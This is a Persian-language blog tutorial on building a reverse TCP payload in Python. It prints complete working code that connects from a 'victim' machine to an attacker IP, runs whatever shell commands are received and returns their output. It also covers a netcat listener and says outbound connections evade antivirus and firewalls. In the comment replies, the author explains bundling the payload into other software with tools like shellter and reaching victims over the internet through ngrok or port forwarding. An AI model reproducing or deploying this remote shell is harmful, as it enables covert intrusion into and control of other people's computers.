آموزش ساخت پیلود Reverse_TCP در پایتون :: Mr Python | مستر پایتون

آموزش ساخت پیلود Reverse_TCP در پایتون

  • ۱۳۳۸

آموزش ساخت پیلود Reverse_TCP در پایتون

 

درود به همه !

 

اگر با ابزاری مثل metasploit کار کرده باشید قطعا میدونید پیلود reverse_Tcp چیه . پیلود reverse_tcp که ما امروز میسازیم یه اسکریپته که وقتی روی سیستم هدف اجرا میشه باعث میشه سیستم هدف به ما وصل بشه و ما میتونیم هر دستوری دلمون خواست از راه دور روی سیستم هدف اجرا کنیم . اینکه سیستم هدف به ما وصل بشه ترفند خوبیه چون آنتی ویروس و فایروال کمتر حساس هستند روی این موضوع در صورتی که اگه بخوایم ما به سیستم هدف وصل بشیم امکان داره فایروال نفوذ رو تشخیص بده .

طبق توضیحی که بالا دادیم روش ارتباط ما با سیستم هدف به صورت تصویر زیره :

 

 

برای نوشتن این اسکریپت ما نیاز به چنتا کتابخونه داریم که به صورت پیشفرض روی پایتون نصبه . یکی کتابخونه ی subprocess برای اجرای دستورات و کتابخونه ی socket برای برقراری ارتباط .

 

سورس اسکریپت :

#https://mrpython.blog.ir
import subprocess
import socket

HACKER_IP = "192.168.1.103"
HACKER_PORT = 12345

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
connected = False
while not connected:
    try:
        s.connect((HACKER_IP , HACKER_PORT))
        connected = True
    except:
        continue
s.send("connected\n".encode())
while True:
    command = s.recv(1024)
    command = command.decode()
    if command == "exit\n":
        s.close()
        break
    proc = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
    stdout_val = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_val)

print("exit")

توضیح سورس کد : در ابتدا کتابخونه های مورد نیاز رو ایمپورت کردیم . پس از اون دوتا متغییر تعریف کردیم . یکی HACKER_IP که آی پی هکر در شبکه رو داخلش قرار میدیم و دیگری HACKER_PORT که مشخص میکنیم به چه پورتی از سیستم هکر قراره وصل بشیم . برای مثال من گفتم به پورت ۱۲۳۴۵ وصل بشه . سپس برای برقراری ارتباط ، شیء سوکت رو ساختیم و ریختیم داخل متغییر s . اگه دقت کنین برای ساخت شیء سوکت دوتا ورودی دادیم به socket.socket . ورودی اول یعنی socket.AF_INET مشخص میکنه ما برای ارتباط از IP ورژن ۴ استفاده میکنیم و ورودی دوم یعنی socket.SOCK_STREAM مشخص میکنه ما ار پروتکل TCP برای ارتباط استفاده میکنیم  . در خط بعد یه متغییر به نام connected  تعریف کردیم که به صورت پیشفرض همون اول برابر False هستش  . تنها زمانی برابر True میشه که ارتباط با هکر برقرار بشه . در خط بعد یه حلقه while نوشتیم که کارش اینه تا وقتی که متغییر connected برابر False هست یعنی به عبارتی ارتباط برقرار نشده همینجور تلاش کنه به سیستم هکر وصل بشه . پس از اینکه وصل شد متغییر connected  رو برابر True میکنه و در نتیجه از حلقه خارج میشه .

بعد یه پیام connected ارسال کردیم به سیستم هکر . از این طریق میتونیم بفهمیم ارتباط برقرار شده . بعد از اون وارد یه حلقه ی بینهایت شدیم که کارش اینه در هر بار اجرای حلقه سعی میکنه یه پیام از سیستم هکر دریافت کنه . وقتی دریافت کرد اونو به استرینگ تبدیل میکنه . سپس میاد چک میکنه اگه برابر با exit بود کلا اسکریپتو میبنده ولی اگه برابر با exit نبود ، هر دستوری که بود میره با استفاده از متود subprocess.Popen در خط فرمان اجرا میکنه . پس از اجرای دستور میاد خروجی استاندارد و ارور استاندارد مربوط به دستور رو میگیره و میریزه داخل متغییر stdout_val و این متغییر رو نهایتا ارسال میکنه برای هکر .

 

این از توضیح سورس . اما نحوه ی اجرا کردنش . من دوتا سیستم بالا اوردم. یه ویندوز ۷ به عنوان سیستم قربانی و یه ubuntu به عنوان سیستم هکر .

اسکریپت بالا رو باید روی سیستم قربانی یعنی ویندوز ۷ اجرا کنیم . اما نکته ای که هست اینه که باید یه شنودگر هم روی سیستم هکر یعنی ubuntu اجرا کنیم . چون توی اسکریپت پیلود که نوشتیم گفتیم وصل بشه به آی پی هکر روی پورت ۱۲۳۴۵ . در نتیجه ما باید یه ابزاری روی سیستم هکر اجرا کنیم که روی پورت ۱۲۳۴۵ شنود کنه و منتظر بمونه تا اسکریپت پیلود که روی سیستم قربانی اجرا شده بهش وصل بشه .

 

برای اجرای شنودگر میتونیم روش های مختلفی رو به کار بگیریم . برای مثال ما میتونیم از ابزار های اماده مثل netcat برای اینکار استفاده کنیم . کافیه ابزار netcat رو روی سیستم هکر (چه ویندوز باشه چه لینوکس) نصب کنید و در خط فرمان دستور زیر رو اجرا کنید تا روی پورت ۱۲۳۴۵ شنود کنه :

nc -l -p 12345

روش دیگه ای که هست اینه که ما میتونیم خودمون با پایتون یه شنودگر ساده بنویسیم که در پست  (آموزش ساخت کیلاگر های پیشرفته در پایتون : قسمت ۱ ) همینکارو کردیم . اگه میخواین خودتون یه شنودگر بنویسید از همون شنودگری که در پست کیلاگر ساختیم میتونید استفاده کنید .

ولی در اینجا ما میخوایم از ابزار netcat که در بالا گفتیم برای اینکار استفاده کنیم .

پس اولین کاری که میکنیم اینه که ابزار netcat رو روی سیستم هکر نصب میکنیم . این ابزار نسخه ی ویندوزی هم داره . اگه سیستم هکر یه ویندوزه باید نسخه ویندوزی رو نصب کنید و اگه لینوکسه نسخه لینوکسی .

برای نصب روی ویندوز میتونید از اینترنت فایل نصبشو دانلود کنید .

و برای نصب روی لینوکس از پکیج اینستالر خود لینوکس استفاده میکنیم . با دستور زیر این ابزار رو روی اوبونتو میشه نصب کرد :

MrPython@debian:~$ sudo apt install netcat

 

پس از نصب netcat میریم سراغ استفاده ازش . در خط فرمان سیستم هکر دستور زیر رو برای اجرای شنودگر با استفاده از ابزار netcat اجرا میکنیم :‌

MrPython@debian:~$ nc -l -p 12345

 

پس از اجرای شنود گر اسکریپت پیلود رو نیز در سیستم قربانی اجرا میکنیم و همینطور که میبینید پیغام connected روی شنودگر هکر نمایان میشود . حالا هر دستوری که در خط فرمان هکر بنویسیم روی سیستم قربانی اجرا میشه . تصویر زیر :

 

 

یا حق!

Telegram Channel : @mrpythonblog

  • سلام میشه دقیق بگید چجوری میشه از listener داخل پست کیلاگر پیشرفته استفاده کرد

    پاسخ:
    درود
    داخل این پست سورس کیلاگر و شنودگرشو نوشتیم و اجراشم کردیم :
  • میشه بگید چجوری با این ابزار کار کنم و پیلود رو تزریق کنم؟؟؟

    پاسخ:
    در پست های بعدی آموزششو میزاریم. 
  • سلام

    میشه بعد از اینکه پیلود رو تبدیل به exeکرد اون رو به یه نرم افزار تزریق کرد

    تا مثلا اگه کسی نرم افزار رو باز کرد هم نرم افزار باز شه هم پیلود 

    اگه میشه چطوری؟

    پاسخ:
    سلام . بله با روش های خاصی میشه .
    ابزار هایی مثل shellter اینکارو براتون میکنن
  • اینکار به سرور مجازی نیازی نداره؟

    ****************************

    من این نظرم رو توی گیلاگر پیشرفته1 فرستادم که باsocketکلید ها رو میفرستاد من مطمعنم

    چجوری اومده اینجاo_o

    من تا حالا وارد این پست نشده بودم فکر کنم مشکل از بیان باشه

    پاسخ:
    وا 😂
  • ببخشید من یک سوال برام پیش اومده در رابطه با استفاده از همین پیلود ها در خارج از شبکه محلی

    می دونم که میشه از ngrok استفاده کرد ولی مشکل اینجاست وقتی ngrok رو ببندی و دوباره بازش کنی اون لینکی که به ما میده با لینکی که در پیلود ست کردیم فرق میکنه و دیگه اینجوری اون پیلود به ما وصل نمیشه

    میخواستم ببینم راه حلی هست؟

    ممنون از بلاگ خوبتون.

    پاسخ:
    درود بر شما .
    خب ببینید ngrok یه آی پی موقت به شما میده حتی اگه نبندینش هم فک میکنم تا 7 ساعت بعد تغییر میکنه آی پی . ولی خب راه های مختلف داره . روش های دیگه پورت فورواردینگ هم هست مثلا اینکه با تنظیمات مودم اینکارو بکنید . یا حتی آی پی استاتیک (ثابت) برای اینکار خریداری کنید .
  • در استفاده کامپیوتر برای سرور احتمال نداره ای پی شخص عوض شه و کیلاگر از کار بیفته؟

    پاسخ:
    سلام کیلاگر ؟؟
    اگه منظورتون پیلوده که باید بگم اینکه آی پی تغییر میکنه یا نه بستگی به روش پورت فورواردینگ شما داره . 
  • اینکار به سرور مجازی نیازی نداره؟

    پاسخ:
    سلام.
    نه لزوما . سرور میتونه یه کامپیوتر شخصی هم باشه ولی اگه ترافیک سنگین بشه جواب گو نیست . بستگی به موقعیت داره
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی